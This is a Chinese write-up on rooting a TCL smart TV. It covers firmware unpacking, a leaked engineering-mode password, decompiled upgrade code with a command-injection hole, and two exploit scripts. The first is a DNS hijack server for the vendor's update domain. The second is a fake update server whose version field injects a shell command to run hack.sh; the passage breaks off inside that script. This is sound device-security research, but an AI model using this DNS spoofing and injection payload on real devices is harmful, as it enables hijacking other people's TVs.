0x01前言
因为疫情影响,被困在农村老家里边,闲得无聊,玩起了一款很久很久以前买的TCl电视,这款电视的操作系统不是安卓,而是定制的Linux系统,
本篇主要记录Pwn该设备的思路以及过程。
0x02 信息收集
电视机型号如下:
通过简单的搜索,可以找到网友共享出来的固件TCL_MS881_MAIN.bin,运行binwalk -Me TCL_MS881_MAIN.bin对其进行解包,可以直接解出该文件系统,下图是其中一部分关键的文件:
其中的china_lite_board即为主要的执行文件,负责电视剧大部分图像显示和逻辑处理。
0x03 确定方向
1.nmap扫描端口,发现一个端口都没开,也就是说无法利用一些自带的服务,比如说telnet进入系统。
2.解包固件打包回去,通过固件升级的方式来获取设备控制权:本身有一定的危险性,可能导致电视机直接变成砖头。
3.在分析china_lite_board文件时,可以看到进入工程模式的密码:1950
进入工程模式可以看到如下选项:
找了一圈,没有找到关键点,不过其中的一个SSCOM Debug引起了我的注意,通过简单的搜索,发现这是打开串口调试的选项,但是手上没有串口线,这就很难受了。
3.利用漏洞,比如最简单的命令注入漏洞来获取控制权,一般来说,这种设备对安全不注重,会有一些漏洞产生,尤其是命令注入(比内存破坏类漏洞相对好利用),所以最后还是找找看有没有命令注入漏洞来进行突破。
0x04 发现漏洞
发现命令注入类漏洞主要的思路是找到system函数的所有的引用,再一个个得去分析,最后通过这种方法发现了一个存在于升级功能得命令注入漏洞:
升级逻辑如下,会请求http://api.upgrade.platform.huan.tv/service/upmp/upgradeIncrInterface获取升级信息:
服务器返回得升级信息如下:
[XML] 纯文本查看 复制代码1581142666e3567c969c2c3d4098a88b960e6278040000æåzh_CN1.0
通过字符串搜索找到了处理的代码如下:
[C] 纯文本查看 复制代码undefined4 FUN_00457748(MWidget *param_1){ MWidget MVar1; MSRV_NETWORK_LINK_STATUS_e *pMVar2; MSRV_NETWORK_IP_STATUS_e *pMVar3; int iVar4; int iVar5; long lVar6; long lVar7; undefined4 uVar8; char *pcVar9; int local_1c8; int local_1c0; uint local_1b8; uint local_1b4; int local_1a4; allocator aaStack412 [4]; basic_string abStack408 [4]; basic_string abStack404 [4]; allocator aaStack400 [4]; basic_string abStack396 [4]; basic_string abStack392 [4]; basic_string abStack388 [4]; undefined4 local_180; undefined4 local_17c; undefined4 local_178; undefined4 local_174; undefined4 local_170; undefined4 local_16c; undefined4 local_168; undefined4 local_164; undefined4 local_160; undefined4 local_15c; allocator aaStack344 [52]; undefined4 local_124; undefined2 local_120; undefined auStack286 [46]; statfs asStack240 [2]; double local_38; double local_30; double local_28; double local_20; uint local_18; /*..............................*/ printf("\n[csheng]portalfeedback ==POTAL_FEEDBACK_SUCCESS ..[%s][%d]", "./src/NetUpdateFrame.cpp",0x51f); *(char *)(param_1 + 0x1f1) = (char)param_1[0x1f1] + '\x01'; Set((short)*(undefined4 *)(param_1 + 0x1d8) + 0x250); Invalidate(); if (param_1[0x3a00] == (MWidget)0x1) { printf("\n[csheng]call_C_MApp_GetPotalData begin...[%s][%d]\n","./src/NetUpdateFrame.cpp", 0x527); uVar8 = call_C_MApp_GetPotalData(0x20,"/Customer/portal/swupg/update.xml"); *(undefined4 *)(param_1 + 0x3a10) = uVar8; printf("\n[csheng]call_C_MApp_GetPotalData->portalfeedback=%d ...[%s][%d]\n", *(undefined4 *)(param_1 + 0x3a10),"./src/NetUpdateFrame.cpp",0x529); } if (*(int *)(param_1 + 0x3a10) == 1) { puts("=======SUCCESS========"); if (param_1[0x3a00] == (MWidget)0x1) { printf("\n[csheng]call_C_ParseNewUpdateXml begin...[%s][%d]\n","./src/NetUpdateFrame.cpp", 0x530); param_1[0x38c] = (MWidget)0x0; //解析xml文件 uVar8 = call_C_ParseNewUpdateXml (param_1 + 0x1f8,param_1 + 0x39e8,"/Customer/portal/swupg/update.xml"); *(undefined4 *)(param_1 + 0x3a0c) = uVar8; printf("\n[csheng]call_C_ParseNewUpdateXml->ret=%d,totoalnums=%d...[%s][%d]\n", *(undefined4 *)(param_1 + 0x3a0c),*(undefined4 *)(param_1 + 0x39e8), "./src/NetUpdateFrame.cpp",0x533); printf("\n[csheng]updateinfo->index=%d",*(undefined4 *)(param_1 + 0x78c)); printf("\n[csheng]updateinfo->md5=%s",param_1 + 0x35a); printf("\n[csheng]updateinfo->note=%s",param_1 + 0x38c); printf("\n[csheng]updateinfo->size=%s",param_1 + 0x238); printf("\n[csheng]updateinfo->source=%s",param_1 + 0x256); printf("\n[csheng]updateinfo->title=%s",param_1 + 0x21a); printf("\n[csheng]updateinfo->type=%s",param_1 + 0x1f8); printf("\n[csheng]updateinfo->url=%s",param_1 + 0x25b); printf("\n[csheng]updateinfo->version=%s\n",param_1 + 0x1fc); } if (*(int *)(param_1 + 0x3a0c) == -1) { puts("parse xml file error!"); return 1; } puts("\n=======Start Download Package======"); if (*(int *)(param_1 + 0x39e8) < 1) { puts("=======None update info========="); param_1[500] = (MWidget)0x2; Hide(); Hide(); Hide(); Hide(); Hide(); Show(); SetInitialFocus(param_1); SwitchFocusTo(param_1); Set((short)*(undefined4 *)(param_1 + 0x1c0) + 0x160); Invalidate(); param_1[499] = (MWidget)0x3; KillTimer((ulong)param_1); return 1; } doUpgrdOnce = 1; printf("\n[csheng]totoalnums>0,..[%s][%d]","./src/NetUpdateFrame.cpp",0x546); if (param_1[0x3a00] == (MWidget)0x1) { puts("\r\n=====NoteFlag=1======"); basic_ostringstream((_Ios_Openmode)asStack240); param_1[0x3a00] = (MWidget)0x0; param_1[500] = (MWidget)0x0; Hide(); Hide(); Hide(); Hide(); Hide(); Show(); SwitchFocusTo(param_1); if (param_1[0x38c] == (MWidget)0x0) { Set((short)*(undefined4 *)(param_1 + 0x1a4) + 0x160); } else { operator 0x14) + 1; } iVar4 = strncmp((char *)(param_1 + 0x256),"300",4); if (iVar4 == 0) { printf("\n[csheng]source=300..[%s][%d]","./src/NetUpdateFrame.cpp",0x571); pcVar9 = (char *)GetInstance(); iVar4 = GetUSBMountPath(pcVar9); if (iVar4 == 0) { printf("\n[csheng]debugline..[%s][%d]","./src/NetUpdateFrame.cpp",0x58f); param_1[500] = (MWidget)0x3; Hide(); Hide(); Hide(); Hide(); Hide(); Show(); SwitchFocusTo(param_1); Set((short)*(undefined4 *)(param_1 + 0x1c8) + 0x160); Invalidate(); param_1[499] = (MWidget)0x4; KillTimer((ulong)param_1); return 1; } puts("=======Find USB Device============"); pcVar9 = (char *)GetInstance(); iVar4 = GetUSBContainer(pcVar9); SetTimer((ulong)param_1,500,2); lVar6 = atol((char *)(param_1 + 0x238)); if (lVar6 < 0) { lVar6 = lVar6 + 0xfffff; } if (iVar4 < (lVar6 >> 0x14) + 6 + *(int *)(param_1 + 0x4688)) { param_1[500] = (MWidget)0x3; Hide(); Hide(); Hide(); Hide(); Hide(); Show(); SwitchFocusTo(param_1); Set((short)*(undefined4 *)(param_1 + 0x1c8) + 0x160); Invalidate(); param_1[499] = (MWidget)0x5; KillTimer((ulong)param_1); return 1; } local_180 = 0; local_17c = 0; local_178 = 0; local_174 = 0; local_170 = 0; pcVar9 = (char *)GetInstance(); GetUSBMountPath(pcVar9); sprintf(Downloadaddress,"%s/%s",&local_180,param_1 + 0x21a); strcpy(DownloadPath,(char *)&local_180); } else { iVar4 = strncmp((char *)(param_1 + 0x256),"100",4); if (iVar4 == 0) { printf("\n[csheng]source=100..[%s][%d]","./src/NetUpdateFrame.cpp",0x5a1); pcVar9 = (char *)GetInstance(); iVar4 = GetUSBMountPath(pcVar9); if (iVar4 == 0) { printf("\n[csheng]no usb..[%s][%d]","./src/NetUpdateFrame.cpp",0x5c1); param_1[500] = (MWidget)0x3; Hide(); Hide(); Hide(); Hide(); Hide(); Show(); SwitchFocusTo(param_1); Set((short)*(undefined4 *)(param_1 + 0x1c8) + 0x160); Invalidate(); param_1[499] = (MWidget)0x4; KillTimer((ulong)param_1); return 1; } puts("=======Find USB Device============"); pcVar9 = (char *)GetInstance(); iVar4 = GetUSBContainer(pcVar9); SetTimer((ulong)param_1,500,2); lVar6 = atol((char *)(param_1 + 0x238)); if (lVar6 < 0) { lVar6 = lVar6 + 0xfffff; } if (iVar4 < (lVar6 >> 0x14) + 6 + *(int *)(param_1 + 0x4688)) { printf("\n[csheng]USB Contain have not enough space!!!..[%s][%d]", "./src/NetUpdateFrame.cpp",0x5a9); param_1[500] = (MWidget)0x3; Hide(); Hide(); Hide(); Hide(); Hide(); Show(); SwitchFocusTo(param_1); Set((short)*(undefined4 *)(param_1 + 0x1c8) + 0x160); Invalidate(); param_1[499] = (MWidget)0x5; KillTimer((ulong)param_1); return 1; } local_16c = 0; local_168 = 0; local_164 = 0; local_160 = 0; local_15c = 0; pcVar9 = (char *)GetInstance(); GetUSBMountPath(pcVar9); sprintf(Downloadaddress,"%s/%s",&local_16c,param_1 + 0x1fc); strcpy(DownloadPath,(char *)&local_16c); } } iVar4 = strncmp((char *)(param_1 + 0x7ee),"200",4); if (iVar4 == 0) { printf("\n[csheng]source=200..[%s][%d]","./src/NetUpdateFrame.cpp",0x5e1); sprintf(DownloadMbootAddress,"%s/%s",DownloadPath,param_1 + 0x7b2); pcVar9 = (char *)GetInstance(); DeleteOtherUpdateFileForMboot(pcVar9,DownloadPath); } if (local_1a4 < 99) { printf("\n[csheng]intpercentage=%d,debugline..[%s][%d]",local_1a4, "./src/NetUpdateFrame.cpp",0x5ec); param_1[500] = (MWidget)0x5; param_1[499] = (MWidget)0x1a; Show(); Hide(); Hide(); Hide(); Hide(); Hide(); SetInitialFocus(param_1); SwitchFocusTo(param_1); SetCurValue(*(long *)(param_1 + 0x1e4)); iVar4 = *(int *)(param_1 + 0x1e8); allocator(); basic_string((char *)abStack396,aaStack344); operator+(abStack392,(char *)abStack396) ; operator=((basic_string *) (iVar4 + 0x164),abStack392); ~basic_string((basic_string *)abStack392 ); ~basic_string(abStack396); ~allocator(aaStack400); Invalidate(); Invalidate(); } param_1[0x39f4] = (MWidget)0x0; printf("\n[csheng]check data space for update..[%s][%d]","./src/NetUpdateFrame.cpp",0x600); local_1b4 = 0; local_124 = 0x7461642f; local_120 = 0x61; memset(auStack286,0,0x2c); system("/system/bin/stop zygote"); system("umount -l /mnt/sdcard"); iVar4 = statfs("/data",asStack240); if (-1 < iVar4) { printf("\n[csheng]debugline..[%s][%d]","./src/NetUpdateFrame.cpp",0x61e); local_1b4 = (uint)((ulonglong)asStack240[0].f_bavail * (ulonglong)asStack240[0].f_blocks); printf("\r\n u16USBFreeSpace=%ld",local_1b4, ((int)asStack240[0].f_blocks >> 0x1f) * asStack240[0].f_bavail + (int)((ulonglong)asStack240[0].f_bavail * (ulonglong)asStack240[0].f_blocks >> 0x20 )); } iVar4 = strncmp((char *)(param_1 + 0x7ee),"200",4); if (iVar4 == 0) { printf("\n[csheng]debugline..[%s][%d]","./src/NetUpdateFrame.cpp",0x638); lVar6 = atol((char *)(param_1 + 0x238)); lVar7 = atol((char *)(param_1 + 2000)); local_1b8 = lVar6 + lVar7; } else { printf("\n[csheng]debugline..[%s][%d]","./src/NetUpdateFrame.cpp",0x63d); local_1b8 = atol((char *)(param_1 + 0x238)); } printf("\r\n LoadFilesize=%d",local_1b8); if (local_1b4 < local_1b8) { printf("\r\n LoadFilesize11=%d",local_1b8); pcVar9 = (char *)GetInstance(); iVar4 = ListFilesDir(pcVar9); if (iVar4 == 0) { system("/bin/tools/ls -al"); printf("\r\n remove finished"); } iVar4 = statfs("/data",asStack240); if (-1 < iVar4) { local_1b4 = (uint)((ulonglong)asStack240[0].f_bavail * (ulonglong)asStack240[0].f_blocks ); printf("\r\n u16USBFreeSpace22=%ld",local_1b4, ((int)asStack240[0].f_blocks >> 0x1f) * asStack240[0].f_bavail + (int)((ulonglong)asStack240[0].f_bavail * (ulonglong)asStack240[0].f_blocks >> 0x20)); } if (local_1b4 < local_1b8) { system("rm -rf /data/*"); system("/bin/tools/ls -al"); sync(); puts("\r\n rm all "); } } iVar4 = strncmp((char *)(param_1 + 0x256),"200",4); if (iVar4 == 0) { puts("\nmboot down thread start"); mbootthreadstatus = 1; } else { puts("\nmain code down thread start"); codethreadstatus = 1; } //下载升级包 iVar4 = pthread_create((pthread_t *)(param_1 + 0x3a04),(pthread_attr_t *)0x0, call_C_Autodownloadpackage,param_1 + 0x1f8); SetTimer((ulong)param_1,1000,3); if (iVar4 == 0) { puts("Create DOWNLOAD thread SUCCESS"); } else { printf(" Couldn\'t create DOWNLOAD thread --errno: %d\n",iVar4); } iVar4 = strncmp((char *)(param_1 + 0x7ee),"200",4); if (iVar4 == 0) { puts("\nComing to creat thread of mboot"); pthread_create((pthread_t *)(param_1 + 0x3a08),(pthread_attr_t *)0x0,downloadpackage, param_1 + 0x790); } lVar6 = atol((char *)(param_1 + 0x238)); printf( "//------------zhancd 101223 NetUpdateFrame.cpp serverlenmain=%ld------671-------//\n" ,lVar6); lVar6 = atol((char *)(param_1 + 2000)); printf( "//------------zhancd 101223 NetUpdateFrame.cpp serverlenmboot=%ld------671-------//\n" ,lVar6); return 1; } puts("=======FAILURE=======......................=="); param_1[500] = (MWidget)0x2; Hide(); Hide(); Hide(); Hide(); Hide(); Show(); SetInitialFocus(param_1); SwitchFocusTo(param_1); Set((short)*(undefined4 *)(param_1 + 0x1c0) + 0x160); Invalidate(); param_1[499] = (MWidget)0x7; KillTimer((ulong)param_1); return 1; } } KillTimer((ulong)param_1); return 1;}
进入下载升级包的流程:
下载之前删除之前下载过的数据包,会将服务端传过来的version直接拼接到命令行中,没有进行任何验证(命令注入漏洞):
0x05 漏洞利用
在上面的分析已经介绍了漏洞的成因,主要是没对服务端传过来的version字段进行过滤,那么问题来了,如何伪造服务端的响应触发漏洞?
DNS劫持
通过将api.upgrade.platform.huan.tv解析到恶意构造的80主机即可,参考别人写的dns劫持代码如下:
[Python] 纯文本查看 复制代码#!/usr/bin/pythonimport socketimport structimport timeimport loggingfrom logging.handlers import RotatingFileHandlerLOG = logging.getLogger('myip')LOG.setLevel(logging.INFO)FORMATTER = logging.Formatter('%(asctime)s %(levelname)s %(message)s')HANDLER = RotatingFileHandler('myip.log', maxBytes=512000, backupCount=10)HANDLER.setFormatter(FORMATTER)LOG.addHandler(HANDLER)DELAY = 50MAXSUBDOMAINS = 3HIAJACK_LIST = [ "api.upgrade.platform.huan.tv"]LASTQUERY = time.time()def queryfilter(query, source): global LASTQUERY elapsed = time.time() - LASTQUERY if not query.domain: LOG.warning("ignoring query because it has no data. source: %s", source) return False ''' if elapsed < DELAY: LOG.warning("ignoring query because of delay. delay: %i, domain: %s, source: %s", elapsed, query.domain, source) return False if len(query.domain.split(".")) > MAXSUBDOMAINS: LOG.warning("ignoring query because of too many subdomains. domain: %s, source: %s", query.domain, source) return False ''' for bl_domain in HIAJACK_LIST: if bl_domain.lower() in query.domain.lower(): LOG.warning("hijack query for blacklisted domain. domain: %s, source: %s", query.domain, source) return True return Falsedef _get_question_section(query): # Query format is as follows: 12 byte header, question section (comprised # of arbitrary-length name, 2 byte type, 2 byte class), followed by an # additional section sometimes. (e.g. OPT record for DNSSEC) start_idx = 12 end_idx = start_idx num_questions = (ord(query.data[4]) 0: while query.data[end_idx] != '\0': end_idx += ord(query.data[end_idx]) + 1 # Include the null byte, type, and class end_idx += 5 num_questions -= 1 return query.data[start_idx:end_idx]class DNSResponse(object): def __init__(self, query): self.id = query.data[:2] # Use the ID from the request. self.flags = "\x81\x80" # No errors, we never have those. self.questions = query.data[4:6] # Number of questions asked... # Answer RRs (Answer resource records contained in response) 1 for now. self.rranswers = "\x00\x01" self.rrauthority = "\x00\x00" # Same but for authority self.rradditional = "\x00\x00" # Same but for additionals. # Include the question section self.query = _get_question_section(query) # The pointer to the resource record - seems to always be this value. self.pointer = "\xc0\x0c" # This value is set by the subclass and is defined in TYPE dict. self.type = None self.dnsclass = "\x00\x01" # "IN" class. # TODO: Make this adjustable - 1 is good for noobs/testers self.ttl = "\x00\x00\x00\x01" # Set by subclass because is variable except in A/AAAA records. self.length = None self.data = None # Same as above. def answer(self): try: return self.id + self.flags + self.questions + self.rranswers + \ self.rrauthority + self.rradditional + self.query + \ self.pointer + self.type + self.dnsclass + self.ttl + \ self.length + self.data except (TypeError, ValueError): passclass A(DNSResponse): def __init__(self, query, ip): super(A, self).__init__(query) self.type = "\x00\x01" self.length = "\x00\x04" self.data = ''.join(chr(int(x)) for x in ip.split('.'))class DNSQuery: def __init__(self, data): self.data = data self.domain = '' tipo = (ord(data[2]) >> 3) & 15 # Opcode bits if tipo == 0: # Standard query ini = 12 lon = ord(data[ini]) while lon != 0: self.domain += data[ini+1:ini+lon+1]+'.' ini += lon+1 lon = ord(data[ini])# self.type = data[ini:][1:3]# #print struct.unpack(">H", self.type)# else:# self.type = data[-4:-2]hijack_ip='192.168.137.77'if __name__ == '__main__': udps = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) udps.bind(('', 53)) try: while 1: data, addr = udps.recvfrom(1024) try: q = DNSQuery(data) if queryfilter(q, addr[0]): print addr[0] r = A(q, hijack_ip) LOG.info('%s -> %s', q.domain, addr[0]) udps.sendto(r.answer(), addr) LASTQUERY = time.time() except Exception, err: LOG.warning("Exception caused by %s: %s", addr, err) # We don't send data since address could be spoofed #udps.sendto("Invalid request", addr) except KeyboardInterrupt: print 'Closing' udps.close()
再编写一个http服务器来响应升级请求,同时插入恶意构造的代码,该代码会直接执行U盘目录下的hack.sh文件:
[Python] 纯文本查看 复制代码# coding:utf-8import socketimport timeimport threadingdef handle_client(client_socket): """ 处理客户端请求 """ request_data = client_socket.recv(1024) print("request data:", request_data) # 构造响应数据 response_start_line = "HTTP/1.1 200 OK\r\n" response_body = ''' %d e3567c969c2c3d4098a88b960e627804 0000 nihao zh_CN 100 100 123 123 test'`;sh ./hack.sh;echo `echo '1 5 pwn by wmsuper http://192.168.137.77 1 '''%(int(time.time())) #response_body=''' |